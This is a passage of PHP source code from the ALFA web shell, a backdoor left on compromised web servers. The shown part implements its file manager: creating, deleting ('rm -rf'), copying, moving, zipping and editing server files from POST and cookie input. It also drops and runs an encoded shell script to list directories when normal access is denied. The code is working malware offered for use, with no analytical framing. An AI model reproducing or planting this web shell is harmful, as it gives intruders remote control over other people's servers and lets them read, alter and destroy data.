!\', \'Files manager\', \'error\');</script>";\r\n\t}\r\n}else{\r\n\tif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n\t\tif(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\r\n\t\t\tif(!@mkdir(trim($_POST[\'alfa2\']))){\r\n\t\t\t\techo "<script>alfaShowNotification(\'Can\\\'t create new dir !\', \'Files manager\', \'error\');</script>";\r\n\t\t\t}else{\r\n\t\t\t\techo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\r\n\t\t}\r\n\t}else{\r\n\t\techo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\r\n\t}\r\n}\r\nbreak;\r\ncase \'delete\':\r\nfunction deleteDir($path){\r\n$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n$dh = @opendir($path);\r\nwhile(($item = @readdir($dh)) !== false){\r\n$item = $path.$item;\r\nif((basename($item) == "..") || (basename($item) == "."))\r\ncontinue;\r\n$type = @filetype($item);\r\nif ($type == "dir")\r\ndeleteDir($item);\r\nelse\r\n@unlink($item);\r\n}\r\n@closedir($dh);\r\n@rmdir($path);\r\n}\r\nif(is_array(@$_POST[\'f\']))\r\nforeach($_POST[\'f\'] as $f){\r\nif($f == \'..\')\r\ncontinue;\r\n$f = rawurldecode($f);\r\nif($GLOBALS["glob_chdir_false"]){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\talfaEx("rm -rf \'".addslashes($_POST[\'c\'].\'/\'.$f)."\'");\r\n\t}\r\n}else{\r\nalfaEx("rm -rf \'".addslashes($f)."\'",false,false);\r\nif(@is_dir($f))\r\ndeleteDir($f);\r\nelse\r\n@unlink($f);\r\n}\r\n}\r\nif(@is_dir(rawurldecode(@$_POST[\'alfa2\']))&&rawurldecode(@$_POST[\'alfa2\'])!=\'..\'){\r\ndeleteDir(rawurldecode(@$_POST[\'alfa2\']));\r\nalfaEx("rm -rf \'".addslashes($_POST[\'alfa2\'])."\'",false,false);\r\n}else{\r\n@unlink(rawurldecode(@$_POST[\'alfa2\']));\r\n}\r\nif($GLOBALS["glob_chdir_false"]){\r\n\t$source = rawurldecode(@$_POST[\'alfa2\']);\r\n\tif($source!=\'..\'&&!empty($source)){\r\n\t\tif(_alfa_can_runCommand(true,true)){\r\n\t\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';rm -rf \'".addslashes($source)."\'");\r\n\t\t}\r\n\t}\r\n}\r\nif(is_array($_POST[\'f\']))\r\nreturn;\r\nbreak;\r\ncase \'paste\':\r\nif($_COOKIE[\'alfa_act\'] == \'copy\'&&isset($_COOKIE[\'alfa_f\'])){\r\nforeach($_COOKIE[\'alfa_f\'] as $f)\r\ncopy_paste($_COOKIE[\'alfa_c\'],$f, $GLOBALS[\'cwd\']);\r\n}elseif($_COOKIE[\'alfa_act\'] == \'move\'&&isset($_COOKIE[\'alfa_f\'])){\r\nfunction move_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif(($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n}elseif(@is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nforeach($_COOKIE[\'alfa_f\'] as $f)\r\n@rename($_COOKIE[\'alfa_c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n}elseif($_COOKIE[\'alfa_act\'] == \'zip\'&&isset($_COOKIE[\'alfa_f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\n$zipX = "alfa_".rand(1,1000).".zip";\r\nif($zip->open($zipX, 1)){\r\n@chdir($_COOKIE[\'alfa_c\']);\r\nforeach($_COOKIE[\'alfa_f\'] as $f){\r\nif($f == \'..\')continue;\r\nif(@is_file($_COOKIE[\'alfa_c\'].$f))\r\n$zip->addFile($_COOKIE[\'alfa_c\'].$f, $f);\r\nelseif(@is_dir($_COOKIE[\'alfa_c\'].$f)){\r\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));\r\nforeach($iterator as $key=>$value){\r\n$key = str_replace(\'\\\\\',\'/\',realpath($key));\r\nif(@is_dir($key)){\r\nif(in_array(substr($key, strrpos($key,\'/\')+1),array(\'.\', \'..\')))continue;\r\n}else{$zip->addFile($key,$key);}}}}\r\n@chdir($GLOBALS[\'cwd\']);\r\n$zip->close();\r\n__alert(\'>> \'.$zipX.\' << is created...\');}}\r\n}elseif($_COOKIE[\'alfa_act\'] == \'unzip\'&&isset($_COOKIE[\'alfa_f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\nforeach($_COOKIE[\'alfa_f\'] as $f) {\r\nif($zip->open($_COOKIE[\'alfa_c\'].$f)){\r\n$zip->extractTo($_COOKIE[\'alfa_cwd\']);\r\n$zip->close();}}}}\r\nunset($_COOKIE[\'alfa_f\']);\r\nbreak;\r\ndefault:\r\nif(!empty($_POST[\'alfa1\'])){\r\nif(in_array($_POST[\'alfa1\'], array("copy", "move", "zip", "unzip"))){\r\n__alfa_set_cookie(\'alfa_act\', @$_POST[\'alfa1\']);\r\n__alfa_set_cookie(\'alfa_f\', @serialize($_POST[\'f\']));\r\n__alfa_set_cookie(\'alfa_c\', @$_POST[\'c\']);\r\nreturn;\r\n}\r\n}\r\nbreak;\r\n}\r\n}\r\n$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\nif(preg_match("#(.*)\\/\\.\\.#", $_POST[\'c\'], $res)){\r\n\t$path = explode(\'/\', $res[1]);\r\n\tarray_pop($path);\r\n\t$_POST[\'c\'] = implode(\'/\', $path);\r\n}\r\n$cmd_dir = false;\r\nif($dirContent === false){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];\r\n\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\tif(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){\r\n\t\t\t$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";\r\n\t\t\t$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);\r\n\t\t\t__alfa_set_cookie("alfachdir_bash", "true");\r\n\t\t\t__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);\r\n\t\t}\r\n\t\t$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa \'".addslashes(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\'])."\'");\r\n\t\t$dirContent = json_decode($dirContent, true);\r\n\t\tif(is_array($dirContent)){\r\n\t\t\tarray_pop($dirContent);\r\n\t\t\t$cmd_dir = true;\r\n\t\t}else{\r\n\t\t\t$dirContent = false;\r\n\t\t}\r\n\t}\r\n}\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4);\r\n$count_dirContent = @count($dirContent);\r\nif($count_dirContent > 300){\r\n\t@$_COOKIE["alfa_limited_files"] = 100;\r\n}\r\n$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : \'name\';\r\n$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;\r\n$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;\r\n$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : \'asc\';\r\n$files_page_count = 1;\r\nif($alfa_limited_files > 0){\r\n\t$files_page_count = ceil($count_dirContent/$alfa_limited_files);\r\n\tif($files_page_count > 1){\r\n\t\t$files_page_count++;\r\n\t}\r\n}\r\necho \'<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\\\'alfa_sort_by\\\');" style="color:#25ff00;"><option value="name" \'.($alfa_sort_by == \'name\'?\'selected\':\'\').\'>Name</option><option value="size" \'.($alfa_sort_by == \'size\'?\'selected\':\'\').\'>Size</option><option value="modify" \'.($alfa_sort_by == \'modify\'?\'selected\':\'\').\'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\\\'alfa_filesman_direction\\\')" style="color:#25ff00;"><option value="asc" \'.($alfa_filesman_direction == \'asc\'?\'selected\':\'\').\'>Ascending</option><option value="desc" \'.($alfa_filesman_direction == \'desc\'?\'selected\':\'\').\'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="\'.$alfa_limited_files.\'" oninput="this.value=this.value.replace(/[^0-9]/g,\\\'\\\');setCookie(\\\'alfa_limited_files\\\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">\'.($count_dirContent-1).\'</b></span></div><div class="header">\';\r\nif($dirContent == false){\r\necho \'<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>\';\r\nalfaFooter();\r\nreturn;\r\n}\r\nglobal $sort;\r\n$sort = array(\'name\', 1);\r\nif(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){\r\n\t$sort[0] = $_COOKIE["alfa_sort_by"];\r\n}\r\nif(!empty($_POST[\'alfa1\'])) {\r\nif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'alfa1\'], $match))\r\n$sort = array($match[1], (int)$match[2]);\r\n}\r\nif($alfa_files_page_number > ($files_page_count-1)){\r\n\t$alfa_files_page_number = 1;\r\n}\r\n$checkbox_rand = rand(11111, 99999);\r\necho "<form onsubmit=\'fc(this);return false;\' name=\'files\' method=\'post\'><table id=\'filemanager_table\' width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><tr><th width=\'13px\'><div class=\'myCheckbox\' style=\'padding-left:0px;\'><input type=\'checkbox\' id=\'mchk".$checkbox_rand."\' onclick=\'checkBox(this);\' class=\'chkbx\'><label for=\'mchk".$checkbox_rand."\'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";\r\n$dirs = $files = array();\r\n$n = $count_dirContent;\r\nif($n > $alfa_limited_files && $alfa_limited_files > 0){\r\n\t$n = ($alfa_limited_files * $alfa_files_page_number);\r\n\tif($n > $count_dirContent){\r\n\t\t$n = $count_dirContent;\r\n\t}\r\n}\r\n$i = 0;\r\nif($alfa_limited_files > 0 && $alfa_files_page_number > 1){\r\n\t$i = $alfa_limited_files * ($alfa_files_page_number - 1);\r\n}\r\n$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);\r\n$cmd_dir_backp = "";\r\nfor(;$i<$n;$i++){\r\nif($cmd_dir){\r\n$filename = $dirContent[$i]["name"];\r\n$file_owner = $dirContent[$i]["owner"];\r\n$file_group = $dirContent[$i]["group"];\r\n$file_modify = @date(\'Y-m-d H:i:s\', $dirContent[$i]["modify"]);\r\n$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);\r\n$file_size = $dirContent[$i]["size"];\r\nif(substr($dirContent[$i]["name"], 0 ,1) == "/"){\r\n$file_path = $dirContent[$i]["name"];\r\n$dirContent[$i]["name"] = "..";\r\n$filename = $dirContent[$i]["name"];\r\n}else{\r\n$file_path = $GLOBALS[\'cwd\']."/".$dirContent[$i]["name"];\r\n}\r\n}else{\r\n$filename = $dirContent[$i];\r\n$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $filename));\r\n$file_perm = alfaPermsColor($GLOBALS[\'cwd\'].$filename);\r\n$file_size = @filesize($GLOBALS[\'cwd\'].$filename);\r\n$file_path = $GLOBALS[\'cwd\'].$filename;\r\n}\r\n$tmp = array(\'name\' => $filename,\r\n\'path\' => $file_path,\r\n\'modify\' => $file_modify,\r\n\'perms\' => $file_perm,\r\n\'size\' => $file_size,\r\n\'owner\' => $file_owner,\r\n\'group\' => $file_group\r\n);\r\nif($filename == ".." && !$cmd_dir){\r\n\t$tmp["path"] = str_replace("\\\\", "/", realpath($file_path));\r\n}\r\nif(!$cmd_dir){\r\nif(@is_file($file_path)){\r\n$arr_mrg = array(\'type\' => \'file\');\r\nif(@is_link($file_path)){\r\n$arr_mrg["link"] = readlink($tmp[\'path\']);\r\n}\r\n$files[] = array_merge($tmp, $arr_mrg);\r\n}elseif(@is_link($file_path)){\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n}elseif(@is_dir($file_path)&& ($filename != ".")){\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n}\r\n}else{\r\n\tif($dirContent[$i]["type"]=="file"){\r\n\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t}else{\r\n\t\tif($dirContent[$i]["name"] != "."){\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t\t}\r\n\t}\r\n}\r\n}\r\n$GLOBALS[\'sort\'] = $sort;\r\nfunction alfaCmp($a, $b) {\r\nif($GLOBALS[\'sort\'][0] != \'size\')\r\nreturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\nelse\r\nreturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n}\r\nusort($files, "alfaCmp");\r\nusort($dirs, "alfaCmp");\r\nif(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){\r\n\tif($_COOKIE["alfa_filesman_direction"] == \'desc\'){\r\n\t\t$files = array_reverse($files);\r\n\t\t$dirs = array_reverse($dirs);\r\n\t}\r\n}\r\n$files = array_merge($dirs, $files);\r\n$l=0;\r\n$cc=0;\r\nforeach($files as $f){\r\n$f[\'name\'] = htmlspecialchars($f[\'name\']);\r\n$newname = mb_strlen($f[\'name\'], \'UTF-8\')>60?mb_substr($f[\'name\'], 0, 60, \'utf-8\').\'...\':$f[\'name\'];\r\n$checkbox = \'checkbox_\'.$checkbox_rand.$cc;\r\n$raw_name = rawurlencode($f[\'name\']);\r\n$icon = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'<img src="\'.findicon($f[\'name\'],$f[\'type\']).\'" width="30" height="30">\':\'\';\r\n$style = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'position:relative;display:inline-block;bottom:12px;\':\'\';\r\necho \'<tr class="fmanager-row" id="tr_row_\'.$cc.\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'.$raw_name.\'" class="chkbx" id="\'.$checkbox .\'"><label for="\'.$checkbox .\'"></label></div></td><td id="td_row_\'.$cc.\'">\'.$icon.\'<div style="\'.$style.\'"><a row="\'.$cc.\'" id="id_\'.$cc.\'" class="main_name" onclick="\'.(($f[\'type\']==\'file\')?\'editor(\\\'\'.$raw_name.\'\\\',\\\'auto\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\');" href="#action=fileman&path=\'.$GLOBALS[\'cwd\'].\'&file=\'.$raw_name.\'" fname="\'.$raw_name.\'" ftype="file" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'>\'.($GLOBALS[\'cwd\'].$f[\'name\']==$GLOBALS[\'__file_path\']?"<span class=\'shell_name\' style=\'font-weight:unset;\'>".$f[\'name\']."</span>":htmlspecialchars($newname)):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" href="#action=fileman&path=\'.$f[\'path\'].\'" fname="\'.$raw_name.\'" ftype="folder" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td></div><td><span style="font-weight:unset;" class="main_size">\'.(($f[\'type\']==\'file\')?(isset($f[\'link\'])?\'[L] \':\'\').alfaSize($f[\'size\']):$f[\'type\']).\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'.$f[\'modify\'].\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</span></td><td><a id="id_chmode_\'.$cc.\'" href=javascript:void(0) onclick="editor(\\\'\'.$raw_name.\'\\\',\\\'chmod\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">\'.\r\n$f[\'perms\'].\'</td><td><a id="id_rename_\'.$cc.\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'rename\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">R</a> <a id="id_touch_\'.$cc.\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'touch\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a id="id_edit_\'.$cc.\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'edit\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">E</a> <a id="id_download_\'.$cc.\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$raw_name.\'\\\', \\\'download\\\')">D</a>\':\'\').\'<a id="id_delete_\'.$cc.\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'.addslashes(rawurldecode($f[\'name\'])).\' # ?\\\'); chk ? g(\\\'FilesMan\\\',null,\\\'delete\\\', \\\'\'.$raw_name.\'\\\') : \\\'\\\';"> X </a></td></tr>\';\r\n$l = $l?0:1;\r\n$cc++;\r\n}\r\necho "<tr id=\'filemanager_last_tr\'><td colspan=7>\r\n<input type=hidden name=a value=\'FilesMan\'>\r\n<input type=hidden name=c value=\'".htmlspecialchars(($GLOBALS[\'glob_chdir_false\']?$_POST[\'c\']:$GLOBALS[\'cwd\']))."\'>\r\n<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n<select id=\'tools_selector\' name=\'alfa1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\' selected>Delete</option><option value=\'zip\'>Add 2 Compress (zip)</option><option value=\'unzip\'>Add 2 Uncompress (zip)</option><option value=\'paste\'>Paste / Zip / Unzip </option></select>\r\n<input type=\'submit\' value=\' \'>\r\n</form></table><div class=\'pages-holder\'><div class=\'pages-number\'>".$page_builder."</div></div></div></div>";\r\nalfafooter();\r\n}\r\nfunction get_pagination_links($current_page, $total_pages){\r\n $links = "";\r\n if ($total_pages >= 1 && $current_page <= $total_pages) {\r\n\t\t$links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\"><<</a>";\r\n\t\t$selected_page = "";\r\n\t\tif($current_page == 1){\r\n\t\t\t$selected_page = " active-page-number";\r\n\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">1</a>";\r\n $i = max(2, $current_page - 5);\r\n if ($i > 2)\r\n $links .= "<a class=\\"page-number\\">...</a>";\r\n for (; $i < min($current_page + 6, $total_pages); $i++) {\r\n\t\t\tif($i == $current_page){\r\n\t\t\t\t$selected_page = " active-page-number";\r\n\t\t\t}else{\r\n\t\t\t\t$selected_page = "";\r\n\t\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$i}</a>";\r\n }\r\n if ($i != $total_pages)\r\n $links .= "<a class=\\"page-number\\">...</a>";\r\n\t\t$selected_page = " last-page-number";\r\n\t\tif($current_page == $total_pages){\r\n\t\t\t$selected_page .= " active-page-number";\r\n\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$total_pages}</a>";\r\n\t\t$links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\">>></a>";\r\n }\r\n return $links;\r\n}\r\nfunction alfaFilesTools(){\r\nalfahead();\r\necho \'<div class="filestools" style="height: 100%;">\';\r\nif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\r\n$alfa1_decoded = $_POST[\'alfa1\'];\r\n$chdir_fals = false;\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$chdir_fals = true;\r\n\t$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\tif($alfa_canruncmd){\r\n\t\t$slashed_alfa1 = addslashes($_POST[\'alfa1\']);\r\n\t\t$file_info = explode(":", alfaEx(\'stat -c "%F:%U:%G:%s:%Y:0%a:%A" "\'.$slashed_alfa1.\'"\'));\r\n\t\t$perm_color_class = alfaEx("if [[ -w \'".$slashed_alfa1."\' ]]; then echo main_green_perm; elif [[ -r \'".$slashed_alfa1."\' ]]; then echo main_white_perm; else echo main_red_perm; fi");\r\n\t}\r\n}\r\nif($_POST[\'alfa2\'] == \'auto\'){\r\nif(is_array(@getimagesize($_POST[\'alfa1\']))){\r\n$_POST[\'alfa2\'] = \'image\';\r\n}else{\r\n\t$_POST[\'alfa2\'] = \'view\';\r\n\tif($chdir_fals){\r\n\t\tif($alfa_canruncmd){\r\n\t\t\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($_POST[\'alfa1\'])."\'"));\r\n\t\t\t$mimetype = $mime[1];\r\n\t\t\tif(!empty($mimetype)){\r\n\t\t\t\tif(strstr($mimetype, "image")){\r\n\t\t\t\t\t$_POST[\'alfa2\'] = \'image\';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] == "rename" && !empty($_POST[\'alfa3\']) && @is_writable($_POST[\'alfa1\'])){$rename_cache = $_POST[\'alfa3\'];}\r\nif(@$_POST[\'alfa2\'] == \'mkfile\'){\r\n$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\tif(_alfa_is_writable($_POST["c"])){\r\n\t\talfaEx("cd \'".addslashes($_POST["c"])."\';touch \'".addslashes($alfa1_decoded)."\'");\r\n\t\t$_POST[\'alfa2\'] = "edit";\r\n\t}\r\n}\r\nif(!@file_exists($_POST[\'alfa1\'])){\r\n$fp = @fopen($_POST[\'alfa1\'], \'w\');\r\nif($fp){\r\n$_POST[\'alfa2\'] = "edit";\r\nfclose($fp);\r\n}\r\n}else{\r\n$_POST[\'alfa2\'] = "edit";\r\n}\r\n}\r\nif(!_alfa_file_exists(@$_POST[\'alfa1\'])){\r\necho __pre()."<center><p><div class=\\"txtfont\\"><font color=\'red\'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory(\'".$_POST[\'alfa4\']."\');</script>";\r\nalfaFooter();\r\nreturn;\r\n}\r\nif($chdir_fals){\r\n$filesize = $file_info[3];\r\n$uid["name"] = $file_info[1];\r\n$gid["name"] = $file_info[2];\r\n$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);\r\n}else{\r\n$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST[\'alfa1\'])):\'\';\r\n$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST[\'alfa1\'])):\'\';\r\nif(!$uid&&!$gid){\r\n$uid[\'name\'] = function_exists("fileowner")?@fileowner($_POST[\'alfa1\']):\'\';\r\n$gid[\'name\'] = function_exists("filegroup")?@filegroup($_POST[\'alfa1\']):\'\';\r\n}\r\n$permcolor = alfaPermsColor($_POST[\'alfa1\']);\r\n$filesize = @filesize($_POST[\'alfa1\']);\r\nif(!isset($uid[\'name\'],$gid[\'name\'])||empty($uid[\'name\'])||empty($gid[\'name\'])){\r\n\tif(_alfa_can_runCommand()){\r\n\t\tlist($uid[\'name\'],$gid[\'name\']) = explode(":", alfaEx(\'stat -c "%U:%G" "\'.addslashes($_POST["c"]."/".$_POST["alfa1"]).\'"\'));\r\n\t}\r\n}\r\n}\r\nif(substr($_POST[\'alfa1\'], 0, 7) == "phar://"){\r\n\t$alfa_file_directory = $_POST[\'alfa1\'];\r\n}else{\r\n\t$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST[\'c\'].\'/\').$_POST[\'alfa1\']);\r\n}\r\necho \'<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> \'.htmlspecialchars(basename($alfa1_decoded)).\' <span class="editor_file_info_vars">Size:</span> \'.alfaSize($filesize).\' <span class="editor_file_info_vars">Permission:</span> \'.$permcolor.\' <span class="editor_file_info_vars">Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\' <span class="editor_file_info_vars">Directory:</span> \'.dirname($alfa_file_directory).\'</div>\';\r\nif(empty($_POST[\'alfa2\']))$_POST[\'alfa2\'] = \'view\';\r\nif(!_alfa_is_dir($_POST[\'alfa1\'])){\r\n$m = array(\'View\', \'Download\', \'Highlight\', \'Chmod\', \'Rename\', \'Touch\', \'Delete\', \'Image\', \'Hexdump\');\r\n$ftype = "file";\r\n}else{\r\n$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n$ftype = "dir";\r\n}\r\necho(\'<div>\');\r\nforeach($m as $v)\r\necho $v == \'Delete\' ? \'<a href="javascript:void(0);" onclick="var chk=confirm(\\\'Are You Sure For Delete This File ?\\\');chk?editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\'):\\\'\\\';"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a> \' : \'<a href="javascript:void(0);" onclick="editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\')"><span 